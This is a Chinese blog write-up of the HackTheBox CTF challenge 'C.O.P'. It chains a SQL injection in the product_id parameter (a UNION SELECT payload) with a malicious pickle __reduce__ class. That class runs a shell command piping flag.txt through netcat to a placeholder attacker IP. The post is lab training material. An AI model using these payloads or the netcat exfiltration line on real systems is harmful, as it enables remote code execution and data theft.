[CTF] HTB C.O.P

HTB C.O.P

网站有两个 routes,一个是主页有四个商品,还有四个商品的页面。

商品的查找是这样的:


其中 product_id 我们可以用 urlencode 写成任意字符串,所以这里可以 sql injection。用 0' UNION SELECT '{data}'-- 可以把 data 传过去显示回来。但是这个 sql 好像不能读文件。

它数据库里是用 base64+pickle 写的,pickle 是有漏洞的,可以执行任意代码。在本地(公网 ip)开一个 nc -l 1234 监听,自己写一个类带以下这个函数:

class Item:
    def __reduce__(self):
        import os
        return os.system, ("cat flag.txt | nc your.ip.here 1234",)

通过前面的 sql injection 传过去一个自己的类,它就会执行这个代码然后就可以在本地收到 flag。

没有看提示/题解,但是花的时间还是比较长。主要花在读代码、不熟悉各种软件语法。找一个 python 断点输出的工具可能不错。

  • 6
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值